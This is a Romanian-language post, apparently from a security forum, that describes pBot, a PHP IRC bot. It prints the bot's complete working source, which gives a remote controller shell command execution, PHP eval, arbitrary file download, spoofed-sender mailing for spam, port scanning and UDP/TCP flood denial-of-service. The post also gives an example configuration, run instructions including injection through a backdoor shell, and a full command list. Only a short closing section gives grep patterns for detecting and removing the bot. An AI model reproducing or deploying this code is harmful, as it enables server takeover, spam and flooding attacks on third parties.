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Pentru amatorii de IRC, nu este un lucru nou sa intalnesti boti de IRC pe underground channels, care au integrate functii precum, port scanning, nmap, SQL Injection Scanners, RFI/LFI scanners, Credit Card Checkers, etc. ce automat imprastie un shell sau multe altele. Acesti boti de IRC, sunt de obicei scrisi in limbaje precum Perl, PHP si Python; si cei mai multi dintre ei sunt disponibili pe pastebin. Am mai zis despre boti care sunt hostati pe root-uri sau website-uri care au backdoor shells. In acest topic, vom arunca o privire peste pBot, un bot de IRC scris in PHP, ce are functii similare cu un backdoor shell, si cu functii stress testing. Pentru cei ce vor sa analizeze script-ul: <? set_time_limit(0); error_reporting(0); class pBot { var $config = array(“server”=>”", “port”=>, “pass”=>”", “prefix”=>”", “maxrand”=>4, “chan”=>”", “key”=>”", “modes”=>”+iB-x”, “password”=>”", “trigger”=>”!”, “hostauth”=>”*” // * for any hostname ); var $users = array(); function start() { if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); $ident = “”; $alph = range(“a”,”z”); for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,25)]; if(strlen($this->config['pass'])>0) $this->send(“PASS “.$this->config['pass']); $this->send(“USER $ident 127.0.0.1 localhost :$ident”); $this->set_nick(); $this->main(); } function main() { while(!feof($this->conn)) { $this->buf = trim(fgets($this->conn,512)); $cmd = explode(” “,$this->buf); if(substr($this->buf,0,6)==”PING :”) { $this->send(“PONG :”.substr($this->buf,6)); } if(isset($cmd[1]) && $cmd[1] ==”001?) { $this->send(“MODE “.$this->nick.” “.$this->config['modes']); $this->join($this->config['chan'],$this->config['key']); } if(isset($cmd[1]) && $cmd[1]==”433?) { $this->set_nick(); } if($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf,” :”),2); $msgcmd = explode(” “,$msg); $nick = explode(“!”,$cmd[0]); $vhost = explode(“@”,$nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0],1); $host = $cmd[0]; if($msgcmd[0]==$this->nick) { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1]; } else { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i]; } if(count($cmd)>2) { switch($cmd[1]) { case “QUIT”: if($this->is_logged_in($host)) { $this->log_out($host); } break; case “PART”: if($this->is_logged_in($host)) { $this->log_out($host); } break; case “PRIVMSG”: if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == “*”)) { if(substr($mcmd[0],0,1)==”.”) { switch(substr($mcmd[0],1)) { case “user”: if($mcmd[1]==$this->config['password']) { $this->privmsg($this->config['chan'],”[\2auth\2]: $nick logged in”); $this->log_in($host); } else { $this->privmsg($this->config['chan'],”[\2auth\2]: Incorrect password from $nick”); } break; } } } elseif($this->is_logged_in($host)) { if(substr($mcmd[0],0,1)==”.”) { switch(substr($mcmd[0],1)) { case “restart”: $this->send(“QUIT :restart”); fclose($this->conn); $this->start(); break; case “mail”: //mail to from subject message if(count($mcmd)>4) { $header = “From: <”.$mcmd[2].”>”; if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) { $this->privmsg($this->config['chan'],”[\2mail\2]: Unable to send”); } else { $this->privmsg($this->config['chan'],”[\2mail\2]: Message sent to \2?.$mcmd[1].”\2?); } } break; case “dns”: if(isset($mcmd[1])) { $ip = explode(“.”,$mcmd[1]); if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'],”[\2dns\2]: “.$mcmd[1].” => “.gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config['chan'],”[\2dns\2]: “.$mcmd[1].” => “.gethostbyname($mcmd[1])); } } break; case “info”: $this->privmsg($this->config['chan'],”[\2info\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE'].”] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT'].”] [\2domain\2: ".$_SERVER['SERVER_NAME'].”] [\2admin\2: ".$_SERVER['SERVER_ADMIN'].”] [\2url\2:".$_SERVER['REQUEST_URI'].”]”); break; case “cmd”: if(isset($mcmd[1])) { $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $this->privmsg($this->config['chan'],”[\2cmd\2]: $command”); $pipe = popen($command,”r”); while(!feof($pipe)) { $pbuf = trim(fgets($pipe,512)); if($pbuf != NULL) $this->privmsg($this->config['chan'],” : $pbuf”); } pclose($pipe); } break; case “rndnick”: $this->set_nick(); break; case “raw”: $this->send(strstr($msg,$mcmd[1])); break; case “php”: $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1]))); break; case “exec”: $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = shell_exec($command); $ret = explode(“\n”,$exec); $this->privmsg($this->config['chan'],”[\2exec\2]: $command”); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],” : “.trim($ret[$i])); break; case “pscan”: // .pscan 127.0.0.1 6667 if(count($mcmd) > 2) { if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) $this->privmsg($this->config['chan'],”[\2pscan\2]: “.$mcmd[1].”:”.$mcmd[2].” is \2open\2?); else $this->privmsg($this->config['chan'],”[\2pscan\2]: “.$mcmd[1].”:”.$mcmd[2].” is \2closed\2?); } break; case “ud.server”: // .udserver <server> <port> [password] if(count($mcmd)>2) { $this->config['server'] = $mcmd[1]; $this->config['port'] = $mcmd[2]; if(isset($mcmcd[3])) { $this->config['pass'] = $mcmd[3]; $this->privmsg($this->config['chan'],”[\2update\2]: Changed server to “.$mcmd[1].”:”.$mcmd[2].” Pass: “.$mcmd[3]); } else { $this->privmsg($this->config['chan'],”[\2update\2]: Changed server to “.$mcmd[1].”:”.$mcmd[2]); } } break; case “download”: if(count($mcmd) > 2) { if(!$fp = fopen($mcmd[2],”w”)) { $this->privmsg($this->config['chan'],”[\2download\2]: Cannot download, permission denied.”); } else { if(!$get = file($mcmd[1])) { $this->privmsg($this->config['chan'],”[\2download\2]: Unable to download from \2?.$mcmd[1].”\2?); } else { for($i=0;$i<=count($get);$i++) { fwrite($fp,$get[$i]); } $this->privmsg($this->config['chan'],”[\2download\2]: File \2?.$mcmd[1].”\2 downloaded to \2?.$mcmd[2].”\2?); } fclose($fp); } } break; case “die”: $this->send(“QUIT :die command from $nick”); fclose($this->conn); exit; case “logout”: $this->log_out($host); $this->privmsg($this->config['chan'],”[\2auth\2]: $nick logged out”); break; case “udpflood”: if(count($mcmd)>4) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); } break; case “tcpflood”: if(count($mcmd)>5) { $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn,”$msg\r\n”); } function join($chan,$key=NULL) { $this->send(“JOIN $chan $key”); } function privmsg($to,$msg) { $this->send(“PRIVMSG $to :$msg”); } function is_logged_in($host) { if(isset($this->users[$host])) return 1; else return 0; } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if(isset($_SERVER['SERVER_SOFTWARE'])) { if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),”apache”)) $this->nick = “[A]“; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),”iis”)) $this->nick = “[I]“; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),”xitami”)) $this->nick = “[X]“; else $this->nick = “[U]“; } else { $this->nick = “[C]“; } $this->nick .= $this->config['prefix']; for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); $this->send(“NICK “.$this->nick); } function udpflood($host,$packets,$packetsize,$delay) { $this->privmsg($this->config['chan'],”[\2udpflood\2]: Sending $packets packets to $host. Packet size: $packetsize”); $packet = “”; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen(“udp://”.$host,mt_rand(0,6000),$e,$s,5)) { $this->privmsg($this->config['chan'],”[\2udpflood\2]: Error: <$e>”); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],”[\2udpflood\2]: Finished sending $packets packets to $host.”); } function tcpflood($host,$packets,$packetsize,$port,$delay) { $this->privmsg($this->config['chan'],”[\2tcpflood\2]: Sending $packets packets to $host:$port. Packet size: $packetsize”); $packet = “”; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen(“tcp://”.$host,$port,$e,$s,5)) { $this->privmsg($this->config['chan'],”[\2tcpflood\2]: Error: <$e>”); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],”[\2tcpflood\2]: Finished sending $packets packets to $host:$port.”); } } $bot = new pBot; $bot->start(); ?> Nu voi sta sa explic codul linie cu linie, dar voi enumera cateva dintre functiile si comenzile acestui PHP IRC bot bazat pe urmatorul cod. Dupa cum spuneam, script-ul care l`am aratat nu este configurat sa se conecteze la IRC, deci primul lucru pe care il avem de facut este sa punem serverul IRC, name, password, port si channel unde IRC bot ar trebui sa se conecteze. Mai jos un exemplu simplu de configurare: var $config = array("server"=>"irc.freenode.net", // IRC server "port"=>6667, //port (the default port for connecting to IRC is 6667) "pass"=>"", // password of the channel if there is any "prefix"=>"infosecinstibot|", //nickname of the bot "chan"=>"#rootcon", //channel "password"=>"shipcode", //password for activating the bot using the command : .user <password> Dupa ce ai configurat conexiunea, putem rula script-ul scriind urmatoarea comanda in terminal: php filenameofthebot.php Multi nu vor vrea sa`si lase script-ul, deci doar vor executa IRC bot fara a`l salva pe web server, punand intregul scrip in eval PHP, printr-un backdoor shell. Ok, acum bot-ul este conectat la canalul de IRC. Mai jos sunt comenzile pe care le poti incerca pe acest script: .user <password> = Folosit pentru a te conecta la bot. <password> este cea pe care ai folosit`o la configurare “password”=>”". .logout = Pentru a te deconecta de la bot .die = Omoara procesul bot-ului si opreste conexiunea bot-ului catre serverul IRC. .restart = Restarteaza bot-ul. .mail <to> <from> <subject> <msg> = Pentru a trimite mail-uri folosind if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)). Acesta poate fi folosit pentru spamming, deoarece il poti folosi pentru a crea email-uri non-existente pentru argumentul <from>. .dns = Face o cautare DNS. .download <URL> <filename> = Ii permite user-ului sa descarce un fisier si sa`l redenumeasca dupa URL-ul adaugat. .exec <command> = Executa o comanda folosind functia exec(). .cmd <command> = Executa o comanda folosind functia popen(). .info = Ia informatii despre sistem. .php <php code> = Executa un cod php folosind functia eval(). .tcpflood <target> <packets> <packetsize> <port> <delay> = Executa un atac tcpflood bazat pe functia tcpflood($host,$packets,$packetsize,$port,$delay). .udpflood <target> <packets> <packetsize> <delay> = Executa un atac Udpflood. .rndnick = Schimba numele bot-ului. .pscan <host> <port> = Scaneaza un anume port de pe host. .safe = Testeaza safe_mode. .inbox <to> = Testeaza inbox-ul. .conback <ip> <port> = Conecteaza back-function. Bazandu`se pe comenzile enumerate, PHP IRC bot este foarte periculos, deoarece este inca considerat un backdoor deoarece ii permite atacatorului sau user-ului sa utilizeze comenzi. De asemenea, poate porni atacuri DoS prin functiile tcpflood si udpflood. Cum sa detectezi sau sa scapi de acest PHP IRC Bot Precum am scapa de fisiere PHP suspicioase sau de backdoor shells, putem localiza PHP IRC bot folosind comanda grep in terminal, atata timp cat ai acces la serverul web. Nu va fi foarte usor deoarece are multe functii in codul php. Cel mai simplu, vom folosi functia care majoritatea IRC bots o folosesc. Deoarece pBot are functii malitioase, cum ar fi udpflood si tcpflood, vom putea folosi aceste functii pentru a localiza script-ul cu usurinta. Ex: grep -Rn "tcpflood *(" /var/www grep -Rn "udpflood *(" /var/www Si precum oricare backdoor shell, foloseste functia shell_exec deci vei vrea sa "grep-uiesti" functia asta de asemenea. Pentru a lista toate cele 3 functii intr`o singura comanda grep: grep -RPn "(shell_exec|tcpflood|udpflood) *\(" /var/www/ Dupa ce esti sigur ca acel cod este pBot, urmatorul lucru pe care ar trebui sa`l faci este sa`l stergi si sa restartezi serverul. Referinte: pastebin.com Sursa